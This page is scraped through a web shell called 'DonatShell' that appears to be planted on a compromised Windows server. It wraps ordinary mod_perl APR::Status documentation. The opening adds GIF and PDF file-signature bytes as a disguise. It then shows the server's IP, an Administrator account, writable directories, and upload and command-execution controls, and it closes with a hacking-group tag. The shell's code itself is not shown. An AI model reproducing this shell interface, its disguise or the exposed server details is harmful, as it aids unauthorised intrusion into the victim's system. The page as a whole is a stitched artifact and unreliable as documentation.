GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/Status.html
<?xml version="1.0" ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<!-- saved from url=(0017)http://localhost/ -->
<script language="JavaScript" src="../../../displayToc.js"></script>
<script language="JavaScript" src="../../../tocParas.js"></script>
<script language="JavaScript" src="../../../tocTab.js"></script>
<link rel="stylesheet" type="text/css" href="../../../scineplex.css">
<title>APR::Status - Perl Interface to the APR_STATUS_IS_* macros</title>
<link rel="stylesheet" href="../../../Active.css" type="text/css" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:" />
</head>

<body>


<!-- INDEX BEGIN -->
<div name="index">
<script>writelinks('__top__',3);</script>
<h1><a>APR::Status - Perl Interface to the APR_STATUS_IS_* macros</a></h1>
<p><a name="__index__"></a></p>


<ul>

	<li><a href="#name">NAME</a></li>
	<li><a href="#synopsis">Synopsis</a></li>
	<li><a href="#description">Description</a></li>
	<li><a href="#functions">Functions</a></li>
	<ul>

		<li><a href="#is_eacces"><code>is_EACCES</code></a></li>
		<li><a href="#is_eagain"><code>is_EAGAIN</code></a></li>
		<li><a href="#is_enoent"><code>is_ENOENT</code></a></li>
		<li><a href="#is_eof"><code>is_EOF</code></a></li>
		<li><a href="#is_econnaborted"><code>is_ECONNABORTED</code></a></li>
		<li><a href="#is_econnreset"><code>is_ECONNRESET</code></a></li>
		<li><a href="#is_timeup"><code>is_TIMEUP</code></a></li>
	</ul>

	<li><a href="#see_also">See Also</a></li>
	<li><a href="#copyright">Copyright</a></li>
	<li><a href="#authors">Authors</a></li>
</ul>

<hr name="index" />
</div>
<!-- INDEX END -->

<p>
</p>
<h1><a name="name">NAME</a></h1>
<p>APR::Status - Perl Interface to the APR_STATUS_IS_* macros</p>
<p>
</p>
<hr />
<h1><a name="synopsis">Synopsis</a></h1>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Status</span> <span class="operator">();</span>
  <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$obj</span><span class="operator">-&gt;</span><span class="variable">mp_method</span><span class="operator">()</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span> <span class="operator">&amp;&amp;</span> <span class="variable">$ref</span> <span class="variable">$@</span> <span class="keyword">eq</span> <span class="string">'APR::Error'</span> <span class="operator">&amp;&amp;</span> <span class="variable">APR::Status::is_EAGAIN</span><span class="operator">(</span><span class="variable">$@</span><span class="operator">))</span> <span class="operator">{</span>
      <span class="comment"># APR_STATUS_IS_EAGAIN(s) of apr_errno.h is satisfied</span>
  <span class="operator">}</span>
</pre>
<p>
</p>
<hr />
<h1><a name="description">Description</a></h1>
<p>An interface to <em class="file">apr_errno.h</em> composite error codes.</p>
<p>As discussed in the <code>APR::Error|docs::2.0::api::APR::Error</code>
manpage, it is possible to handle APR/Apache/mod_perl exceptions in
the following way:</p>
<pre>
  <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$obj</span><span class="operator">-&gt;</span><span class="variable">mp_method</span><span class="operator">()</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span> <span class="operator">&amp;&amp;</span> <span class="variable">$ref</span> <span class="variable">$@</span> <span class="keyword">eq</span> <span class="string">'APR::Error'</span> <span class="operator">&amp;&amp;</span> <span class="variable">$@</span> <span class="operator">==</span> <span class="variable">$some_code</span><span class="operator">)</span>
      <span class="keyword">warn</span> <span class="string">"handled exception: $@"</span><span class="operator">;</span>
  <span class="operator">}</span>
</pre>
<p>However, in cases where <code>$some_code</code> is an <a href="../../../docs/2.0/api/APR/Const.html">APR::Const constant</a>, there may be more than one
condition satisfying the intent of this exception. For this purpose
the APR C library provides in <em class="file">apr_errno.h</em> a series of macros,
<code>APR_STATUS_IS_*</code>, which are the recommended way to check for such
conditions. For example, the <code>APR_STATUS_IS_EAGAIN</code> macro is defined
as</p>
<pre>
  #define APR_STATUS_IS_EAGAIN(s)         ((s) == APR_EAGAIN \
                  || (s) == APR_OS_START_SYSERR + ERROR_NO_DATA \
                  || (s) == APR_OS_START_SYSERR + SOCEWOULDBLOCK \
                  || (s) == APR_OS_START_SYSERR + ERROR_LOCK_VIOLATION)</pre>
<p>The purpose of <code>APR::Status</code> is to provide functions corresponding
to these macros.</p>
<p>
</p>
<hr />
<h1><a name="functions">Functions</a></h1>
<p>
</p>
<h2><a name="is_eacces"><code>is_EACCES</code></a></h2>
<p>Check if the error is matching <code>EACCES</code> and its variants (corresponds
to the <code>APR_STATUS_IS_EACCES</code> macro).</p>
<pre>
  <span class="variable">$status</span> <span class="operator">=</span> <span class="variable">APR::Status::is_EACCES</span><span class="operator">(</span><span class="variable">$error_code</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong><a name="error_code" class="item">arg1: <code>$error_code</code> (integer or <code>APR::Error
object|docs::2.0::api::APR::Error</code> )</a></strong>

<dd>
<p>The error code or to check, normally <a href="../../../lib/pods/perlvar.html#__"><code>$@</code></a> blessed into <code>APR::Error
object|docs::2.0::api::APR::Error</code>.</p>
</dd>
</li>
<dt><strong><a name="status" class="item">ret: <code>$status</code> ( boolean )</a></strong>

<dt><strong><a name="since_2_0_00267" class="item">since: 2.0.00</a></strong>

</dl>
<p>An example of using <code>is_EACCES</code> is when reading the contents of a
file where access may be forbidden:</p>
<pre>
  <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$obj</span><span class="operator">-&gt;</span><span class="variable">slurp_filename</span><span class="operator">(</span><span class="number">0</span><span class="operator">)</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="keyword">return</span> <span class="variable">Apache2::Const::FORBIDDEN</span>
          <span class="keyword">if</span> <span class="keyword">ref</span> <span class="variable">$@</span> <span class="keyword">eq</span> <span class="string">'APR::Error'</span> <span class="operator">&amp;&amp;</span> <span class="variable">APR::Status::is_EACCES</span><span class="operator">(</span><span class="variable">$@</span><span class="operator">);</span>
      <span class="keyword">die</span> <span class="variable">$@</span><span class="operator">;</span>
   <span class="operator">}</span>
</pre>
<p>Due to possible variants in conditions matching <code>EACCES</code>,
the use of this function is recommended for checking error codes
against this value, rather than just using
<code>APR::Const::EACCES|docs::2.0::api::APR::Const/C_APR__Const__EACCES_</code>
directly.</p>
<p>
</p>
<h2><a name="is_eagain"><code>is_EAGAIN</code></a></h2>
<p>Check if the error is matching <code>EAGAIN</code> and its variants (corresponds
to the <code>APR_STATUS_IS_EAGAIN</code> macro).</p>
<pre>
  <span class="variable">$status</span> <span class="operator">=</span> <span class="variable">APR::Status::is_EAGAIN</span><span class="operator">(</span><span class="variable">$error_code</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>arg1: <code>$error_code</code> (integer or <code>APR::Error
object|docs::2.0::api::APR::Error</code> )</strong>

<dd>
<p>The error code or to check, normally <a href="../../../lib/pods/perlvar.html#__"><code>$@</code></a> blessed into <code>APR::Error
object|docs::2.0::api::APR::Error</code>.</p>
</dd>
</li>
<dt><strong>ret: <code>$status</code> ( boolean )</strong>

<dt><strong><a name="since_2_0_00268" class="item">since: 2.0.00</a></strong>

</dl>
<p>For example, here is how you may want to handle socket read exceptions
and do retries:</p>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Status</span> <span class="operator">();</span>
  <span class="comment"># ....</span>
  <span class="keyword">my</span> <span class="variable">$tries</span> <span class="operator">=</span> <span class="number">0</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$buffer</span><span class="operator">;</span>
  <span class="variable">RETRY</span><span class="operator">:</span> <span class="keyword">my</span> <span class="variable">$rlen</span> <span class="operator">=</span> <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$socket</span><span class="operator">-&gt;</span><span class="keyword">recv</span><span class="operator">(</span><span class="variable">$buffer</span><span class="operator">,</span> <span class="variable">SIZE</span><span class="operator">)</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span> <span class="operator">&amp;&amp;</span> <span class="keyword">ref</span><span class="operator">(</span><span class="variable">$@</span><span class="operator">)</span> <span class="operator">&amp;&amp;</span> <span class="variable">APR::Status::is_EAGAIN</span><span class="operator">(</span><span class="variable">$@</span><span class="operator">))</span> <span class="operator">{</span>
      <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$tries</span><span class="operator">++</span> <span class="operator">&lt;</span> <span class="number">3</span><span class="operator">)</span> <span class="operator">{</span>
          <span class="keyword">goto</span> <span class="variable">RETRY</span><span class="operator">;</span>
      <span class="operator">}</span>
      <span class="keyword">else</span> <span class="operator">{</span>
          <span class="comment"># do something else</span>
      <span class="operator">}</span>
  <span class="operator">}</span>
  <span class="keyword">else</span> <span class="operator">{</span>
      <span class="keyword">die</span> <span class="string">"eval block has failed: $@"</span><span class="operator">;</span>
  <span class="operator">}</span>
</pre>
<p>Notice that just checking against
<code>APR::Const::EAGAIN|docs::2.0::api::APR::Const/C_APR__Const__EAGAIN_</code>
may work on some Unices, but then it will certainly break on
win32. Thefore make sure to use this macro and not
<code>APR::Const::EAGAIN</code> unless you know what you are doing.</p>
<p>
</p>
<h2><a name="is_enoent"><code>is_ENOENT</code></a></h2>
<p>Check if the error is matching <code>ENOENT</code> and its variants (corresponds
to the <code>APR_STATUS_IS_ENOENT</code> macro).</p>
<pre>
  <span class="variable">$status</span> <span class="operator">=</span> <span class="variable">APR::Status::is_ENOENT</span><span class="operator">(</span><span class="variable">$error_code</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>arg1: <code>$error_code</code> (integer or <code>APR::Error
object|docs::2.0::api::APR::Error</code> )</strong>

<dd>
<p>The error code or to check, normally <a href="../../../lib/pods/perlvar.html#__"><code>$@</code></a> blessed into <code>APR::Error
object|docs::2.0::api::APR::Error</code>.</p>
</dd>
</li>
<dt><strong>ret: <code>$status</code> ( boolean )</strong>

<dt><strong><a name="since_2_0_00269" class="item">since: 2.0.00</a></strong>

</dl>
<p>An example of using <code>is_ENOENT</code> is when reading the contents of a
file which may not exist:</p>
<pre>
  <span class="keyword">eval</span> <span class="operator">{</span> <span class="variable">$obj</span><span class="operator">-&gt;</span><span class="variable">slurp_filename</span><span class="operator">(</span><span class="number">0</span><span class="operator">)</span> <span class="operator">};</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$@</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="keyword">return</span> <span class="variable">Apache2::Const::NOT_FOUND</span>
          <span class="keyword">if</span> <span class="keyword">ref</span> <span class="variable">$@</span> <span class="keyword">eq</span> <span class="string">'APR::Error'</span> <span class="operator">&amp;&amp;</span> <span class="variable">APR::Status::is_ENOENT</span><span class="operator">(</span><span class="variable">$@</span><span class="operator">);</span>
      <span class="keyword">die</span> <span class="variable">$@</span><span class="operator">;</span>
  <span class="operator">}</span>
</pre>
<p>Due to possible variants in conditions matching <code>ENOENT</code>,
the use of this function is recommended for checking error codes
against this value, rather than just using
<code>APR::Const::ENOENT|docs::2.0::api::APR::Const/C_APR__Const__ENOENT_</code>
directly.</p>
<p>
</p>
<h2><a name="is_eof"><code>is_EOF</code></a></h2>
<p>Check if the error is matching <code>EOF</code> and its variants (corresponds
to the <code>APR_STATUS_IS_EOF</code> macro).</p>
<pre>
  <span class="variable">$status</span> <span class="operator">=</span> <span class="variable">APR::Status::is_EOF</span><span class="operator">(</span><span class="variable">$error_code</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>arg1: <code>$error_code</code> (integer or <code>APR::Error
object|docs::2.0::api::APR::Error</code> )</strong>

<dd>
<p>The error code or to check, normally <a href="../../../lib/pods/perlvar.html#__"><code>$@</code></a> blessed into <code>APR::Error
object|docs::2.0::api::APR::Error</code>.</p>
</dd>
</li>
<dt><strong>ret: <code>$status</code> ( boolean )</strong>

<dt><strong><a name="since_2_0_00270" class="item">since: 2.0.00</a></strong>

</dl>
<p>Due to possible variants in conditions matching <code>EOF</code>,
the use of this function is recommended for checking error codes
against this value, rather than just using
<code>APR::Const::EOF|docs::2.0::api::APR::Const/C_APR__Const__EOF_</code>
directly.</p>
<p>
</p>
<h2><a name="is_econnaborted"><code>is_ECONNABORTED</code></a></h2>
<p>Check if the error is matching <code>ECONNABORTED</code> and its variants (corresponds
to the <code>APR_STATUS_IS_ECONNABORTED</code> macro).</p>
<pre>
  <span class="variable">$status</span> <span class="operator">=</span> <span class="variable">APR::Status::is_ECONNABORTED</span><span class="operator">(</span><span class="variable">$error_code</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>arg1: <code>$error_code</code> (integer or <code>APR::Error
object|docs::2.0::api::APR::Error</code> )</strong>

<dd>
<p>The error code or to check, normally <a href="../../../lib/pods/perlvar.html#__"><code>$@</code></a> blessed into <code>APR::Error
object|docs::2.0::api::APR::Error</code>.</p>
</dd>
</li>
<dt><strong>ret: <code>$status</code> ( boolean )</strong>

<dt><strong><a name="since_2_0_00271" class="item">since: 2.0.00</a></strong>

</dl>
<p>Due to possible variants in conditions matching <code>ECONNABORTED</code>,
the use of this function is recommended for checking error codes
against this value, rather than just using
<code>APR::Const::ECONNABORTED|docs::2.0::api::APR::Const/C_APR__Const__ECONNABORTED_</code> directly.</p>
<p>
</p>
<h2><a name="is_econnreset"><code>is_ECONNRESET</code></a></h2>
<p>Check if the error is matching <code>ECONNRESET</code> and its variants
(corresponds to the <code>APR_STATUS_IS_ECONNRESET</code> macro).</p>
<pre>
  <span class="variable">$status</span> <span class="operator">=</span> <span class="variable">APR::Status::is_ECONNRESET</span><span class="operator">(</span><span class="variable">$error_code</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>arg1: <code>$error_code</code> (integer or <code>APR::Error
object|docs::2.0::api::APR::Error</code> )</strong>

<dd>
<p>The error code or to check, normally <a href="../../../lib/pods/perlvar.html#__"><code>$@</code></a> blessed into <code>APR::Error
object|docs::2.0::api::APR::Error</code>.</p>
</dd>
</li>
<dt><strong>ret: <code>$status</code> ( boolean )</strong>

<dt><strong><a name="since_2_0_00272" class="item">since: 2.0.00</a></strong>

</dl>
<p>Due to possible variants in conditions matching <code>ECONNRESET</code>, the use
of this function is recommended for checking error codes against this
value, rather than just using
<code>APR::Const::ECONNRESET|docs::2.0::api::APR::Const/C_APR__Const__ECONNRESET_</code>
directly.</p>
<p>
</p>
<h2><a name="is_timeup"><code>is_TIMEUP</code></a></h2>
<p>Check if the error is matching <code>TIMEUP</code> and its variants (corresponds
to the <code>APR_STATUS_IS_TIMEUP</code> macro).</p>
<pre>
  <span class="variable">$status</span> <span class="operator">=</span> <span class="variable">APR::Status::is_TIMEUP</span><span class="operator">(</span><span class="variable">$error_code</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>arg1: <code>$error_code</code> (integer or <code>APR::Error
object|docs::2.0::api::APR::Error</code> )</strong>

<dd>
<p>The error code or to check, normally <a href="../../../lib/pods/perlvar.html#__"><code>$@</code></a> blessed into <code>APR::Error
object|docs::2.0::api::APR::Error</code>.</p>
</dd>
</li>
<dt><strong>ret: <code>$status</code> ( boolean )</strong>

<dt><strong><a name="since_2_0_00273" class="item">since: 2.0.00</a></strong>

</dl>
<p>Due to possible variants in conditions matching <code>TIMEUP</code>,
the use of this function is recommended for checking error codes
against this value, rather than just using
<code>APR::Const::TIMEUP|docs::2.0::api::APR::Const/C_APR__Const__TIMEUP_</code>
directly.</p>
<p>
</p>
<hr />
<h1><a name="see_also">See Also</a></h1>
<p><a href="../../../docs/2.0/index.html">mod_perl 2.0 documentation</a>.</p>
<p>
</p>
<hr />
<h1><a name="copyright">Copyright</a></h1>
<p>mod_perl 2.0 and its core modules are copyrighted under
The Apache Software License, Version 2.0.</p>
<p>
</p>
<hr />
<h1><a name="authors">Authors</a></h1>
<p><a href="../../../about/contributors/people.html">The mod_perl development team and numerous contributors</a>.</p>

</body>

</html>

Anon7 - 2022
AnonSec Team